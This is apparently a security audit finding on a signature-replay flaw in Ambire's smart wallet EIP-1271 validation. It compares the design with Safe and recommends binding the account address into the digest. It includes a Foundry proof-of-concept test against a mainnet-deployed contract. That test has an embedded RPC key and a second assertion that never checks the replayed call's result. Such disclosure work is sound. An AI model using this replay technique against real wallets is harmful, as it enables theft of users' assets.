Ambire's smart wallet (Identity) integrates EIP1271 through isValidSignature
.
function isValidSignature(bytes32 hash, bytes calldata signature) external view returns (bytes4) {
if (privileges[SignatureValidator.recoverAddr(hash, signature)] != bytes32(0)) {
// bytes4(keccak256("isValidSignature(bytes32,bytes)")
return 0x1626ba7e;
} else {
return 0xffffffff;
}
}
However, since Ambire doesn't include the account inside the signed digest, if the passed hash
is independent of the account, the signature made for one account could be replayed on another if both accounts have the same owner.
This is applicable for EOA signatures as well.
For example, If Alice has a EOA 0xa
and is operating a smart wallet Ambire1
from 0xa
, the signatures of 0xa
, could be replayed on Ambire1
as well.
Some dApps include the account inside the message digest themselves.
For example: Uniswap's use of their permit2 inside Uniswap X (source).
However, some don't, like CowSwap. Hence, if account A signs a CowSwap order of selling x for y, the same order could be executed on another account if that account has the same owner.
CowSwap's order struct can be found here, and CowSwap's signature validation is detailed here.
Additional examples:
-
Lens
https://github.com/lens-protocol/core/blob/v2/contracts/libraries/MetaTxLib.sol
Would allow anyone to replay one's lens actions like follow, unfollow for their smart wallet, or vice versa -
Ethereum Attestion https://github.com/ethereum-attestation-service/eas-contracts/blob/f7f4ed8416fb66e23d0b94cd721ed3b1836ee243/contracts/eip1271/EIP1271Verifier.sol#L97
Would allow replaying attestations -
EigenLayer https://github.com/Layr-Labs/eigenlayer-contracts/blob/9fbb6d6dada1f0932ec6673257ded06bd6557905/src/contracts/core/StrategyManager.sol#L158C14-L158C46
Would basically allow to replay deposit.
Hence, as of now, Ambire's smart accounts' security is dependent on an external protocol, whether they include the account inside the digest or not.
Wallets like Safe handle this on their own to mitigate this line of attack.
Please review the following Safe module contract. They also have EIP-1271 integration; however, they are NOT vulnerable to this line of attack since they include an account inside the message digest through their safe.domainSeparator()
(source).
Safe Contracts
function encodeMessageDataForSafe(Safe safe, bytes memory message) public view returns (bytes memory) {
bytes32 safeMessageHash = keccak256(abi.encode(SAFE_MSG_TYPEHASH, keccak256(message)));
return abi.encodePacked(bytes1(0x19), bytes1(0x01), safe.domainSeparator(), safeMessageHash);
// safe.domainSeparator() = keccak256(abi.encode(DOMAIN_SEPARATOR_TYPEHASH, chainId, this));
}
function isValidSignature(bytes32 _dataHash, bytes calldata _signature) public view override returns (bytes4) {
// Caller should be a Safe
Safe safe = Safe(payable(msg.sender));
bytes memory messageData = encodeMessageDataForSafe(safe, abi.encode(_dataHash));
bytes32 messageHash = keccak256(messageData);
if (_signature.length == 0) {
require(safe.signedMessages(messageHash) != 0, "Hash not approved");
} else {
safe.checkSignatures(messageHash, messageData, _signature);
}
return EIP1271_MAGIC_VALUE;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import "../src/QuickAccManager/Contract.sol";
contract QuickAccManagerPOC is Test {
QuickAccManager quickAccManager = QuickAccManager(0xfF3f6D14DF43c112aB98834Ee1F82083E07c26BF);
uint256 acc1PrivateKey = 0xa11ce;
uint256 acc2PrivateKey = 0xabc123;
function testQuickAccManagerPOC() public {
vm.createSelectFork('https://eth-mainnet.g.alchemy.com/v2/vho_vp3Yhlr98CwgdVDbnnx12FIi2gUL');
assert(address(quickAccManager) == 0xfF3f6D14DF43c112aB98834Ee1F82083E07c26BF);
/*//////////////////////////////////////////////////////////
Initial State (Setup)
//////////////////////////////////////////////////////////////*/
address [] memory addrs = new address [](1);
addrs[0] = address(this);
Identity I_1 = new Identity(addrs);
Identity I_2 = new Identity(addrs);
QuickAccManager.QuickAccount memory q;
q.timelock = 100;
q.one = vm.addr(acc1PrivateKey);
q.two = vm.addr(acc2PrivateKey);
// setting up quick account privilages Identity.Privilages[QuickAccManager] = Hash of Quick Account
vm.prank(address(I_1));
I_1.setAddrPrivilege(address(quickAccManager), keccak256(abi.encode(q)));
vm.prank(address(I_2));
I_2.setAddrPrivilege(address(quickAccManager), keccak256(abi.encode(q)));
/*//////////////////////////////////////////////////////////
Signature Validation
//////////////////////////////////////////////////////////////*/
// --------------------- I_1 -------------------------------------
// Consider dummy hash as following
bytes32 orderHash = keccak256(abi.encode("do this and this"));
bytes32 digest = keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", orderHash));
// Signature by Quick Account Owner 1
vm.startPrank(vm.addr(acc1PrivateKey));
(uint8 v, bytes32 r, bytes32 s) = vm.sign(acc1PrivateKey, digest);
bytes memory sig1 = abi.encodePacked(r, s, v);
sig1= abi.encodePacked(sig1, uint8(1)); // Padding done for SignatureMode => EthSign (Ambire's requirement)
vm.stopPrank();
// Signature by Quick Account Owner 2
vm.startPrank(vm.addr(acc2PrivateKey));
(v,r,s) = vm.sign(acc2PrivateKey, digest);
bytes memory sig2 = abi.encodePacked(r, s, v);
sig2= abi.encodePacked(sig2, uint8(1));
vm.stopPrank();
// Intended I_1 Signature Validation by QuickAccManager
vm.prank(address(I_1));
bytes4 returnedVal = quickAccManager.isValidSignature(orderHash, abi.encode(100, sig1, sig2));
assertEq(returnedVal, 0x1626ba7e00000000000000000000000000000000000000000000000000000000);
// --------------------- I_2 -------------------------------------
// Replayed I_2 Signature Validation by QuickAccManager
vm.prank(address(I_2));
quickAccManager.isValidSignature(orderHash, abi.encode(100, sig1, sig2));
assertEq(returnedVal, 0x1626ba7e00000000000000000000000000000000000000000000000000000000);
}
}
Direct unintended execution of actions on identities.
Basically, anyone can replay the signatures for unintended accounts.
In the worst case, this could lead to a loss of assets.
For example, consider a scenario where a a EOA or a smart account has signed an external protocol order to sell X amount for Y.
Now, this same order could be executed on any other account using the same EOA privilages
Difficulty to Exploit: Easy
Weakness: -
CVSS2 Score: -
Consider including the identity (account address) inside the signed digest